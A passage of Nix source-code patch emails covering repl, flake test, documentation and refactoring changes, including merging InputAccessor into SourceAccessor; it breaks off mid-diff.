"sha256-JIosik2bmFiqa69ScSw0r+/PnJ6Ut23OAsHJqiX7M3U="; - }; - })) + ] ++ lib.optional stdenv.isLinux libseccomp ++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid # There have been issues building these dependencies ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform && (stdenv.isLinux || stdenv.isDarwin)) From e5f509ef0b5c364544c904faa0bfda57dba03611 Mon Sep 17 00:00:00 2001 From: Sarah Brofeldt Date: Sun, 28 Apr 2024 16:32:58 +0200 Subject: [PATCH 0535/1251] nix repl: hide progress bar during :edit --- src/libcmd/repl.cc | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index a045e83d2..bade1b538 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -506,6 +506,10 @@ ProcessLineResult NixRepl::processLine(std::string line) auto editor = args.front(); args.pop_front(); + // avoid garbling the editor with the progress bar + logger->pause(); + Finally resume([&]() { logger->resume(); }); + // runProgram redirects stdout to a StringSink, // using runProgram2 to allow editors to display their UI runProgram2(RunOptions { .program = editor, .lookupPath = true, .args = args }); From 4d99d07bc97bab9ba3e399ac3ca6e78a8ccf4aab Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 30 Apr 2024 15:34:35 +0200 Subject: [PATCH 0536/1251] Whitespace --- src/libfetchers/path.cc | 1 + 1 file changed, 1 insertion(+) diff --git a/src/libfetchers/path.cc b/src/libfetchers/path.cc index 0af1bad73..67a9fc2f2 100644 --- a/src/libfetchers/path.cc +++ b/src/libfetchers/path.cc @@ -54,6 +54,7 @@ struct PathInputScheme : InputScheme "narHash", }; } + std::optional inputFromAttrs(const Attrs & attrs) const override { getStrAttr(attrs, "path"); From 458441c637e7bac1f579c8448aa5a7210bd27fcf Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 30 Apr 2024 15:34:38 +0200 Subject: [PATCH 0537/1251] Test dirOf behaviour on the root of a flake --- tests/functional/flakes/common.sh | 2 ++ tests/functional/flakes/flakes.sh | 3 +++ 2 files changed, 5 insertions(+) diff --git a/tests/functional/flakes/common.sh b/tests/functional/flakes/common.sh index fc45cf7bf..65c12a9c3 100644 --- a/tests/functional/flakes/common.sh +++ b/tests/functional/flakes/common.sh @@ -21,6 +21,8 @@ writeSimpleFlake() { # To test "nix flake init". legacyPackages.$system.hello = import ./simple.nix; + + parent = builtins.dirOf ./.; }; } EOF diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh index 4f41cae0a..5beb1e0f5 100644 --- a/tests/functional/flakes/flakes.sh +++ b/tests/functional/flakes/flakes.sh @@ -231,6 +231,9 @@ nix build -o "$TEST_ROOT/result" --expr "(builtins.getFlake \"$flake1Dir\").pack # 'getFlake' on a locked flakeref should succeed even in pure mode. nix build -o "$TEST_ROOT/result" --expr "(builtins.getFlake \"git+file://$flake1Dir?rev=$hash2\").packages.$system.default" +# Regression test for dirOf on the root of the flake. +[[ $(nix eval --json flake1#parent) = \""$NIX_STORE_DIR"\" ]] + # Building a flake with an unlocked dependency should fail in pure mode. (! nix build -o "$TEST_ROOT/result" flake2#bar --no-registries) (! nix build -o "$TEST_ROOT/result" flake2#bar --no-use-registries) From 503be57bbd88d5cfc2246b900b6dcb4e388f5066 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 30 Apr 2024 15:43:33 +0200 Subject: [PATCH 0538/1251] Test baseNameOf behaviour on the root of a flake --- tests/functional/flakes/common.sh | 2 ++ tests/functional/flakes/flakes.sh | 3 +++ 2 files changed, 5 insertions(+) diff --git a/tests/functional/flakes/common.sh b/tests/functional/flakes/common.sh index 65c12a9c3..e0776d5ed 100644 --- a/tests/functional/flakes/common.sh +++ b/tests/functional/flakes/common.sh @@ -23,6 +23,8 @@ writeSimpleFlake() { legacyPackages.$system.hello = import ./simple.nix; parent = builtins.dirOf ./.; + + baseName = builtins.baseNameOf ./.; }; } EOF diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh index 5beb1e0f5..b2bea0711 100644 --- a/tests/functional/flakes/flakes.sh +++ b/tests/functional/flakes/flakes.sh @@ -234,6 +234,9 @@ nix build -o "$TEST_ROOT/result" --expr "(builtins.getFlake \"git+file://$flake1 # Regression test for dirOf on the root of the flake. [[ $(nix eval --json flake1#parent) = \""$NIX_STORE_DIR"\" ]] +# Regression test for baseNameOf on the root of the flake. +[[ $(nix eval --raw flake1#baseName) =~ ^[a-z0-9]*-source$ ]] + # Building a flake with an unlocked dependency should fail in pure mode. (! nix build -o "$TEST_ROOT/result" flake2#bar --no-registries) (! nix build -o "$TEST_ROOT/result" flake2#bar --no-use-registries) From 724132468afc6d2bf760209a3b9160fd207ed5d8 Mon Sep 17 00:00:00 2001 From: Christian Albertsen Date: Tue, 30 Apr 2024 17:08:04 +0200 Subject: [PATCH 0539/1251] Update distibuted-builds.md not to use nix-store info MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit When trying the „nix-store info“ commands on this page I received the error "error: 'info' is not a recognised command". According to https://github.com/NixOS/nix/issues/9349 info seems to have been an alias for ping. So why not just replace info with ping? --- doc/manual/src/advanced-topics/distributed-builds.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/manual/src/advanced-topics/distributed-builds.md b/doc/manual/src/advanced-topics/distributed-builds.md index 52acd039c..ddabaeb4d 100644 --- a/doc/manual/src/advanced-topics/distributed-builds.md +++ b/doc/manual/src/advanced-topics/distributed-builds.md @@ -12,14 +12,14 @@ machine is accessible via SSH and that it has Nix installed. You can test whether connecting to the remote Nix instance works, e.g. ```console -$ nix store info --store ssh://mac +$ nix store ping --store ssh://mac ``` will try to connect to the machine named `mac`. It is possible to specify an SSH identity file as part of the remote store URI, e.g. ```console -$ nix store info --store ssh://mac?ssh-key=/home/alice/my-key +$ nix store ping --store ssh://mac?ssh-key=/home/alice/my-key ``` Since builds should be non-interactive, the key should not have a From f29a220b7092954644884d193aea13531f77b69b Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 30 Apr 2024 16:46:36 +0200 Subject: [PATCH 0540/1251] Test that the root of a tree produces /nix/store/--source --- tests/functional/flakes/common.sh | 2 ++ tests/functional/flakes/flakes.sh | 5 ++++- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/tests/functional/flakes/common.sh b/tests/functional/flakes/common.sh index e0776d5ed..f83a02aba 100644 --- a/tests/functional/flakes/common.sh +++ b/tests/functional/flakes/common.sh @@ -25,6 +25,8 @@ writeSimpleFlake() { parent = builtins.dirOf ./.; baseName = builtins.baseNameOf ./.; + + root = ./.; }; } EOF diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh index b2bea0711..a74d56a5b 100644 --- a/tests/functional/flakes/flakes.sh +++ b/tests/functional/flakes/flakes.sh @@ -235,7 +235,10 @@ nix build -o "$TEST_ROOT/result" --expr "(builtins.getFlake \"git+file://$flake1 [[ $(nix eval --json flake1#parent) = \""$NIX_STORE_DIR"\" ]] # Regression test for baseNameOf on the root of the flake. -[[ $(nix eval --raw flake1#baseName) =~ ^[a-z0-9]*-source$ ]] +[[ $(nix eval --raw flake1#baseName) =~ ^[a-z0-9]+-source$ ]] + +# Test that the root of a tree returns a path named /nix/store/--source (#10627). +[[ $(nix eval --raw flake1#root) =~ ^.*/[a-z0-9]+-[a-z0-9]+-source$ ]] # Building a flake with an unlocked dependency should fail in pure mode. (! nix build -o "$TEST_ROOT/result" flake2#bar --no-registries) From 1f4168221757f46d57f951692158138dbb4059b0 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 30 Apr 2024 18:10:16 +0200 Subject: [PATCH 0541/1251] Update tests/functional/flakes/flakes.sh Co-authored-by: John Ericson --- tests/functional/flakes/flakes.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh index a74d56a5b..35b0c5d84 100644 --- a/tests/functional/flakes/flakes.sh +++ b/tests/functional/flakes/flakes.sh @@ -237,7 +237,9 @@ nix build -o "$TEST_ROOT/result" --expr "(builtins.getFlake \"git+file://$flake1 # Regression test for baseNameOf on the root of the flake. [[ $(nix eval --raw flake1#baseName) =~ ^[a-z0-9]+-source$ ]] -# Test that the root of a tree returns a path named /nix/store/--source (#10627). +# Test that the root of a tree returns a path named /nix/store/--source. +# This behavior is *not* desired, but has existed for a while. +# Issue #10627 what to do about it. [[ $(nix eval --raw flake1#root) =~ ^.*/[a-z0-9]+-[a-z0-9]+-source$ ]] # Building a flake with an unlocked dependency should fail in pure mode. From f34b52b52163ec0db60dca6907f309acc45e2205 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 1 May 2024 18:47:19 +0200 Subject: [PATCH 0542/1251] libexpr: Add missing GC root for baseEnv This missing GC root wasn't much of a problem before, because the heap would end up with a reference to the `baseEnv` pretty soon, but when unit testing, the construction of `EvalState` doesn't necessarily happen well before GC runs for the first time. Found while unit testing the Rust bindings that currently reside at https://github.com/nixops4/nixops4/tree/main/rust --- src/libexpr/eval.cc | 8 +++++++- src/libexpr/eval.hh | 5 +++++ 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 35ccca79a..aa058b04f 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -50,6 +50,7 @@ #include #include +#include #include #include @@ -342,6 +343,8 @@ void initGC() gcInitialised = true; } +static constexpr size_t BASE_ENV_SIZE = 128; + EvalState::EvalState( const LookupPath & _lookupPath, ref store, @@ -424,8 +427,11 @@ EvalState::EvalState( #if HAVE_BOEHMGC , valueAllocCache(std::allocate_shared(traceable_allocator(), nullptr)) , env1AllocCache(std::allocate_shared(traceable_allocator(), nullptr)) + , baseEnvP(std::allocate_shared(traceable_allocator(), &allocEnv(BASE_ENV_SIZE))) + , baseEnv(**baseEnvP) +#else + , baseEnv(allocEnv(BASE_ENV_SIZE)) #endif - , baseEnv(allocEnv(128)) , staticBaseEnv{std::make_shared(nullptr, nullptr)} { corepkgsFS->setPathDisplay(""); diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index 508361301..ae8b9dd04 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -547,6 +547,11 @@ public: */ SingleDerivedPath coerceToSingleDerivedPath(const PosIdx pos, Value & v, std::string_view errorCtx); +#if HAVE_BOEHMGC + /** A GC root for the baseEnv reference. */ + std::shared_ptr baseEnvP; +#endif + public: /** From 037c8d771d56095617b4c2cbfd07ef1199905685 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 2 May 2024 21:41:24 -0400 Subject: [PATCH 0543/1251] Fix format errors Fix formatting violations, update blacklist to reflect moved files. PR #10556 passed CI before the new formating rules were added, and our CI has the race condition of allowing old results, resulting in master getting broken. --- maintainers/flake-module.nix | 6 +++--- src/libstore/indirect-root-store.cc | 6 +++--- src/libutil/unix-domain-socket.hh | 6 ++---- 3 files changed, 8 insertions(+), 10 deletions(-) diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 2ea94e9d9..d35b03148 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -252,8 +252,8 @@ ''^src/libstore/unix/pathlocks\.cc$'' ''^src/libstore/unix/posix-fs-canonicalise\.cc$'' ''^src/libstore/unix/posix-fs-canonicalise\.hh$'' - ''^src/libstore/unix/uds-remote-store\.cc$'' - ''^src/libstore/unix/uds-remote-store\.hh$'' + ''^src/libstore/uds-remote-store\.cc$'' + ''^src/libstore/uds-remote-store\.hh$'' ''^src/libstore/windows/build\.cc$'' ''^src/libstore/worker-protocol-impl\.hh$'' ''^src/libstore/worker-protocol\.cc$'' @@ -350,7 +350,7 @@ ''^src/libutil/unix/processes\.cc$'' ''^src/libutil/unix/signals-impl\.hh$'' ''^src/libutil/unix/signals\.cc$'' - ''^src/libutil/unix/unix-domain-socket\.cc$'' + ''^src/libutil/unix-domain-socket\.cc$'' ''^src/libutil/unix/users\.cc$'' ''^src/libutil/url-parts\.hh$'' ''^src/libutil/url\.cc$'' diff --git a/src/libstore/indirect-root-store.cc b/src/libstore/indirect-root-store.cc index b92279928..9da05778d 100644 --- a/src/libstore/indirect-root-store.cc +++ b/src/libstore/indirect-root-store.cc @@ -15,15 +15,15 @@ void IndirectRootStore::makeSymlink(const Path & link, const Path & target) renameFile(tempLink, link); } - Path IndirectRootStore::addPermRoot(const StorePath & storePath, const Path & _gcRoot) { Path gcRoot(canonPath(_gcRoot)); if (isInStore(gcRoot)) throw Error( - "creating a garbage collector root (%1%) in the Nix store is forbidden " - "(are you running nix-build inside the store?)", gcRoot); + "creating a garbage collector root (%1%) in the Nix store is forbidden " + "(are you running nix-build inside the store?)", + gcRoot); /* Register this root with the garbage collector, if it's running. This should be superfluous since the caller should diff --git a/src/libutil/unix-domain-socket.hh b/src/libutil/unix-domain-socket.hh index 9aba9f628..a8bbc4b89 100644 --- a/src/libutil/unix-domain-socket.hh +++ b/src/libutil/unix-domain-socket.hh @@ -5,7 +5,7 @@ #include "file-descriptor.hh" #ifdef _WIN32 -# include +# include #endif #include @@ -21,7 +21,6 @@ AutoCloseFD createUnixDomainSocket(); */ AutoCloseFD createUnixDomainSocket(const Path & path, mode_t mode); - /** * Often we want to use `Descriptor`, but Windows makes a slightly * stronger file descriptor vs socket distinction, at least at the level @@ -39,7 +38,7 @@ using Socket = /** * Windows gives this a different name */ -# define SHUT_WR SD_SEND +# define SHUT_WR SD_SEND #endif /** @@ -70,7 +69,6 @@ static inline Descriptor fromSocket(Socket fd) #endif } - /** * Bind a Unix domain socket to a path. */ From ba5929c7becfb8e3668cdabddc4e1ea0b0330189 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 3 May 2024 12:14:01 +0200 Subject: [PATCH 0544/1251] Merge InputAccessor into SourceAccessor After the removal of the InputAccessor::fetchToStore() method, the only remaining functionality in InputAccessor was `fingerprint` and `getLastModified()`, and there is no reason to keep those in a separate class. --- src/libexpr/eval.cc | 12 ++++----- src/libexpr/eval.hh | 10 +++---- src/libexpr/nixexpr.hh | 4 +-- src/libexpr/parser-state.hh | 2 +- src/libexpr/parser.y | 8 +++--- src/libexpr/primops.cc | 8 +++--- src/libexpr/value.hh | 5 ++-- src/libfetchers/fetchers.cc | 5 ++-- src/libfetchers/fetchers.hh | 10 +++---- src/libfetchers/filtering-input-accessor.cc | 8 +++--- src/libfetchers/filtering-input-accessor.hh | 7 +++-- src/libfetchers/fs-input-accessor.cc | 15 ++++------- src/libfetchers/fs-input-accessor.hh | 7 +++-- src/libfetchers/git-utils.cc | 21 +++++++-------- src/libfetchers/git-utils.hh | 5 ++-- src/libfetchers/github.cc | 2 +- src/libfetchers/indirect.cc | 2 +- src/libfetchers/memory-input-accessor.cc | 29 --------------------- src/libfetchers/memory-input-accessor.hh | 18 ------------- src/libfetchers/mounted-input-accessor.cc | 10 +++---- src/libfetchers/mounted-input-accessor.hh | 4 +-- src/libfetchers/path.cc | 2 +- src/libfetchers/tarball.cc | 4 +-- src/libfetchers/tarball.hh | 4 +-- src/libfetchers/unix/git.cc | 12 ++++----- src/libfetchers/unix/mercurial.cc | 2 +- src/libutil/input-accessor.hh | 27 ------------------- src/libutil/memory-source-accessor.cc | 10 +++++-- src/libutil/memory-source-accessor.hh | 4 +-- src/libutil/source-accessor.hh | 26 +++++++++++++++++- src/libutil/source-path.cc | 6 ++--- src/libutil/source-path.hh | 12 ++++----- src/nix-env/nix-env.cc | 14 +++++----- src/nix/main.cc | 2 +- tests/unit/libexpr/primops.cc | 1 - 35 files changed, 130 insertions(+), 188 deletions(-) delete mode 100644 src/libfetchers/memory-input-accessor.cc delete mode 100644 src/libfetchers/memory-input-accessor.hh delete mode 100644 src/libutil/input-accessor.hh diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index aa058b04f..fbd846d14 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -17,7 +17,7 @@ #include "print.hh" #include "fs-input-accessor.hh" #include "filtering-input-accessor.hh" -#include "memory-input-accessor.hh" +#include "memory-source-accessor.hh" #include "signals.hh" #include "gc-small-vector.hh" #include "url.hh" @@ -400,7 +400,7 @@ EvalState::EvalState( , emptyBindings(0) , rootFS( evalSettings.restrictEval || evalSettings.pureEval - ? ref(AllowListInputAccessor::create(makeFSInputAccessor(), {}, + ? ref(AllowListInputAccessor::create(makeFSInputAccessor(), {}, [](const CanonPath & path) -> RestrictedPathError { auto modeInformation = evalSettings.pureEval ? "in pure evaluation mode (use '--impure' to override)" @@ -408,8 +408,8 @@ EvalState::EvalState( throw RestrictedPathError("access to absolute path '%1%' is forbidden %2%", path, modeInformation); })) : makeFSInputAccessor()) - , corepkgsFS(makeMemoryInputAccessor()) - , internalFS(makeMemoryInputAccessor()) + , corepkgsFS(make_ref()) + , internalFS(make_ref()) , derivationInternal{corepkgsFS->addFile( CanonPath("derivation-internal.nix"), #include "primops/derivation.nix.gen.hh" @@ -2766,12 +2766,12 @@ SourcePath resolveExprPath(SourcePath path) if (++followCount >= maxFollow) throw Error("too many symbolic links encountered while traversing the path '%s'", path); auto p = path.parent().resolveSymlinks() / path.baseName(); - if (p.lstat().type != InputAccessor::tSymlink) break; + if (p.lstat().type != SourceAccessor::tSymlink) break; path = {path.accessor, CanonPath(p.readLink(), path.path.parent().value_or(CanonPath::root))}; } /* If `path' refers to a directory, append `/default.nix'. */ - if (path.resolveSymlinks().lstat().type == InputAccessor::tDirectory) + if (path.resolveSymlinks().lstat().type == SourceAccessor::tDirectory) return path / "default.nix"; return path; diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index ae8b9dd04..7ca2d6227 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -9,7 +9,7 @@ #include "symbol-table.hh" #include "config.hh" #include "experimental-features.hh" -#include "input-accessor.hh" +#include "source-accessor.hh" #include "search-path.hh" #include "repl-exit-status.hh" @@ -33,7 +33,7 @@ class EvalState; class StorePath; struct SingleDerivedPath; enum RepairFlag : bool; -struct MemoryInputAccessor; +struct MemorySourceAccessor; namespace eval_cache { class EvalCache; } @@ -229,18 +229,18 @@ public: /** * The accessor for the root filesystem. */ - const ref rootFS; + const ref rootFS; /** * The in-memory filesystem for paths. */ - const ref corepkgsFS; + const ref corepkgsFS; /** * In-memory filesystem for internal, non-user-callable Nix * expressions like call-flake.nix. */ - const ref internalFS; + const ref internalFS; const SourcePath derivationInternal; diff --git a/src/libexpr/nixexpr.hh b/src/libexpr/nixexpr.hh index e3cae8385..e37e3bdd1 100644 --- a/src/libexpr/nixexpr.hh +++ b/src/libexpr/nixexpr.hh @@ -92,10 +92,10 @@ struct ExprString : Expr struct ExprPath : Expr { - ref accessor; + ref accessor; std::string s; Value v; - ExprPath(ref accessor, std::string s) : accessor(accessor), s(std::move(s)) + ExprPath(ref accessor, std::string s) : accessor(accessor), s(std::move(s)) { v.mkPath(&*accessor, this->s.c_str()); } diff --git a/src/libexpr/parser-state.hh b/src/libexpr/parser-state.hh index 024e79c43..5a928e9aa 100644 --- a/src/libexpr/parser-state.hh +++ b/src/libexpr/parser-state.hh @@ -44,7 +44,7 @@ struct ParserState Expr * result; SourcePath basePath; PosTable::Origin origin; - const ref rootFS; + const ref rootFS; const Expr::AstSymbols & s; void dupAttr(const AttrPath & attrPath, const PosIdx pos, const PosIdx prevPos); diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index bff066170..00300449f 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -41,7 +41,7 @@ Expr * parseExprFromBuf( const SourcePath & basePath, SymbolTable & symbols, PosTable & positions, - const ref rootFS, + const ref rootFS, const Expr::AstSymbols & astSymbols); } @@ -291,7 +291,7 @@ path_start /* add back in the trailing '/' to the first segment */ if ($1.p[$1.l-1] == '/' && $1.l > 1) path += "/"; - $$ = new ExprPath(ref(state->rootFS), std::move(path)); + $$ = new ExprPath(ref(state->rootFS), std::move(path)); } | HPATH { if (evalSettings.pureEval) { @@ -301,7 +301,7 @@ path_start ); } Path path(getHome() + std::string($1.p + 1, $1.l - 1)); - $$ = new ExprPath(ref(state->rootFS), std::move(path)); + $$ = new ExprPath(ref(state->rootFS), std::move(path)); } ; @@ -430,7 +430,7 @@ Expr * parseExprFromBuf( const SourcePath & basePath, SymbolTable & symbols, PosTable & positions, - const ref rootFS, + const ref rootFS, const Expr::AstSymbols & astSymbols) { yyscan_t scanner; diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index df274caed..a3ccc9771 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1828,12 +1828,12 @@ static RegisterPrimOp primop_hashFile({ .fun = prim_hashFile, }); -static Value * fileTypeToString(EvalState & state, InputAccessor::Type type) +static Value * fileTypeToString(EvalState & state, SourceAccessor::Type type) { return - type == InputAccessor::Type::tRegular ? &state.vStringRegular : - type == InputAccessor::Type::tDirectory ? &state.vStringDirectory : - type == InputAccessor::Type::tSymlink ? &state.vStringSymlink : + type == SourceAccessor::Type::tRegular ? &state.vStringRegular : + type == SourceAccessor::Type::tDirectory ? &state.vStringDirectory : + type == SourceAccessor::Type::tSymlink ? &state.vStringSymlink : &state.vStringUnknown; } diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh index 5795f04cf..61cf2d310 100644 --- a/src/libexpr/value.hh +++ b/src/libexpr/value.hh @@ -7,7 +7,6 @@ #include "symbol-table.hh" #include "value/context.hh" -#include "input-accessor.hh" #include "source-path.hh" #include "print-options.hh" @@ -217,7 +216,7 @@ public: }; struct Path { - InputAccessor * accessor; + SourceAccessor * accessor; const char * path; }; @@ -335,7 +334,7 @@ public: void mkPath(const SourcePath & path); void mkPath(std::string_view path); - inline void mkPath(InputAccessor * accessor, const char * path) + inline void mkPath(SourceAccessor * accessor, const char * path) { finishValue(tPath, { .path = { .accessor = accessor, .path = path } }); } diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc index 0577b8d9d..73923907c 100644 --- a/src/libfetchers/fetchers.cc +++ b/src/libfetchers/fetchers.cc @@ -1,6 +1,5 @@ #include "fetchers.hh" #include "store-api.hh" -#include "input-accessor.hh" #include "source-path.hh" #include "fetch-to-store.hh" #include "json-utils.hh" @@ -238,7 +237,7 @@ void InputScheme::checkLocks(const Input & specified, const Input & final) const } } -std::pair, Input> Input::getAccessor(ref store) const +std::pair, Input> Input::getAccessor(ref store) const { try { auto [accessor, final] = getAccessorUnchecked(store); @@ -252,7 +251,7 @@ std::pair, Input> Input::getAccessor(ref store) const } } -std::pair, Input> Input::getAccessorUnchecked(ref store) const +std::pair, Input> Input::getAccessorUnchecked(ref store) const { // FIXME: cache the accessor diff --git a/src/libfetchers/fetchers.hh b/src/libfetchers/fetchers.hh index bb21c68cc..42b184393 100644 --- a/src/libfetchers/fetchers.hh +++ b/src/libfetchers/fetchers.hh @@ -11,7 +11,7 @@ #include #include -namespace nix { class Store; class StorePath; struct InputAccessor; } +namespace nix { class Store; class StorePath; struct SourceAccessor; } namespace nix::fetchers { @@ -84,15 +84,15 @@ public: std::pair fetchToStore(ref store) const; /** - * Return an InputAccessor that allows access to files in the + * Return a `SourceAccessor` that allows access to files in the * input without copying it to the store. Also return a possibly * unlocked input. */ - std::pair, Input> getAccessor(ref store) const; + std::pair, Input> getAccessor(ref store) const; private: - std::pair, Input> getAccessorUnchecked(ref store) const; + std::pair, Input> getAccessorUnchecked(ref store) const; public: @@ -185,7 +185,7 @@ struct InputScheme std::string_view contents, std::optional commitMsg) const; - virtual std::pair, Input> getAccessor(ref store, const Input & input) const = 0; + virtual std::pair, Input> getAccessor(ref store, const Input & input) const = 0; /** * Is this `InputScheme` part of an experimental feature? diff --git a/src/libfetchers/filtering-input-accessor.cc b/src/libfetchers/filtering-input-accessor.cc index e0cbfd905..d2b47b5e5 100644 --- a/src/libfetchers/filtering-input-accessor.cc +++ b/src/libfetchers/filtering-input-accessor.cc @@ -13,13 +13,13 @@ bool FilteringInputAccessor::pathExists(const CanonPath & path) return isAllowed(path) && next->pathExists(prefix / path); } -std::optional FilteringInputAccessor::maybeLstat(const CanonPath & path) +std::optional FilteringInputAccessor::maybeLstat(const CanonPath & path) { checkAccess(path); return next->maybeLstat(prefix / path); } -InputAccessor::DirEntries FilteringInputAccessor::readDirectory(const CanonPath & path) +SourceAccessor::DirEntries FilteringInputAccessor::readDirectory(const CanonPath & path) { checkAccess(path); DirEntries entries; @@ -54,7 +54,7 @@ struct AllowListInputAccessorImpl : AllowListInputAccessor std::set allowedPrefixes; AllowListInputAccessorImpl( - ref next, + ref next, std::set && allowedPrefixes, MakeNotAllowedError && makeNotAllowedError) : AllowListInputAccessor(SourcePath(next), std::move(makeNotAllowedError)) @@ -73,7 +73,7 @@ struct AllowListInputAccessorImpl : AllowListInputAccessor }; ref AllowListInputAccessor::create( - ref next, + ref next, std::set && allowedPrefixes, MakeNotAllowedError && makeNotAllowedError) { diff --git a/src/libfetchers/filtering-input-accessor.hh b/src/libfetchers/filtering-input-accessor.hh index 133a6cee3..ddf18eea4 100644 --- a/src/libfetchers/filtering-input-accessor.hh +++ b/src/libfetchers/filtering-input-accessor.hh @@ -1,6 +1,5 @@ #pragma once -#include "input-accessor.hh" #include "source-path.hh" namespace nix { @@ -17,9 +16,9 @@ typedef std::function MakeNotAllowe * control. Subclasses should override `isAllowed()` to implement an * access control policy. The error message is customized at construction. */ -struct FilteringInputAccessor : InputAccessor +struct FilteringInputAccessor : SourceAccessor { - ref next; + ref next; CanonPath prefix; MakeNotAllowedError makeNotAllowedError; @@ -67,7 +66,7 @@ struct AllowListInputAccessor : public FilteringInputAccessor virtual void allowPrefix(CanonPath prefix) = 0; static ref create( - ref next, + ref next, std::set && allowedPrefixes, MakeNotAllowedError && makeNotAllowedError); diff --git a/src/libfetchers/fs-input-accessor.cc b/src/libfetchers/fs-input-accessor.cc index 2bbe53e11..bd4e4e2cd 100644 --- a/src/libfetchers/fs-input-accessor.cc +++ b/src/libfetchers/fs-input-accessor.cc @@ -4,22 +4,17 @@ namespace nix { -struct FSInputAccessor : InputAccessor, PosixSourceAccessor +ref makeFSInputAccessor() { - using PosixSourceAccessor::PosixSourceAccessor; -}; - -ref makeFSInputAccessor() -{ - return make_ref(); + return make_ref(); } -ref makeFSInputAccessor(std::filesystem::path root) +ref makeFSInputAccessor(std::filesystem::path root) { - return make_ref(std::move(root)); + return make_ref(std::move(root)); } -ref makeStorePathAccessor( +ref makeStorePathAccessor( ref store, const StorePath & storePath) { diff --git a/src/libfetchers/fs-input-accessor.hh b/src/libfetchers/fs-input-accessor.hh index e60906bd8..80dc74725 100644 --- a/src/libfetchers/fs-input-accessor.hh +++ b/src/libfetchers/fs-input-accessor.hh @@ -1,6 +1,5 @@ #pragma once -#include "input-accessor.hh" #include "source-path.hh" namespace nix { @@ -8,11 +7,11 @@ namespace nix { class StorePath; class Store; -ref makeFSInputAccessor(); +ref makeFSInputAccessor(); -ref makeFSInputAccessor(std::filesystem::path root); +ref makeFSInputAccessor(std::filesystem::path root); -ref makeStorePathAccessor( +ref makeStorePathAccessor( ref store, const StorePath & storePath); diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index e310af063..5657a6b4f 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -1,8 +1,5 @@ #include "git-utils.hh" #include "fs-input-accessor.hh" -#include "input-accessor.hh" -#include "filtering-input-accessor.hh" -#include "memory-input-accessor.hh" #include "cache.hh" #include "finally.hh" #include "processes.hh" @@ -338,9 +335,9 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this */ ref getRawAccessor(const Hash & rev); - ref getAccessor(const Hash & rev, bool exportIgnore) override; + ref getAccessor(const Hash & rev, bool exportIgnore) override; - ref getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError e) override; + ref getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError e) override; ref getFileSystemObjectSink() override; @@ -477,7 +474,7 @@ ref GitRepo::openRepo(const std::filesystem::path & path, bool create, /** * Raw git tree input accessor. */ -struct GitInputAccessor : InputAccessor +struct GitInputAccessor : SourceAccessor { ref repo; Tree root; @@ -710,7 +707,7 @@ struct GitExportIgnoreInputAccessor : CachingFilteringInputAccessor { ref repo; std::optional rev; - GitExportIgnoreInputAccessor(ref repo, ref next, std::optional rev) + GitExportIgnoreInputAccessor(ref repo, ref next, std::optional rev) : CachingFilteringInputAccessor(next, [&](const CanonPath & path) { return RestrictedPathError(fmt("'%s' does not exist because it was fetched with exportIgnore enabled", path)); }) @@ -928,7 +925,7 @@ ref GitRepoImpl::getRawAccessor(const Hash & rev) return make_ref(self, rev); } -ref GitRepoImpl::getAccessor(const Hash & rev, bool exportIgnore) +ref GitRepoImpl::getAccessor(const Hash & rev, bool exportIgnore) { auto self = ref(shared_from_this()); ref rawGitAccessor = getRawAccessor(rev); @@ -940,20 +937,20 @@ ref GitRepoImpl::getAccessor(const Hash & rev, bool exportIgnore) } } -ref GitRepoImpl::getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError makeNotAllowedError) +ref GitRepoImpl::getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError makeNotAllowedError) { auto self = ref(shared_from_this()); /* In case of an empty workdir, return an empty in-memory tree. We cannot use AllowListInputAccessor because it would return an error for the root (and we can't add the root to the allow-list since that would allow access to all its children). */ - ref fileAccessor = + 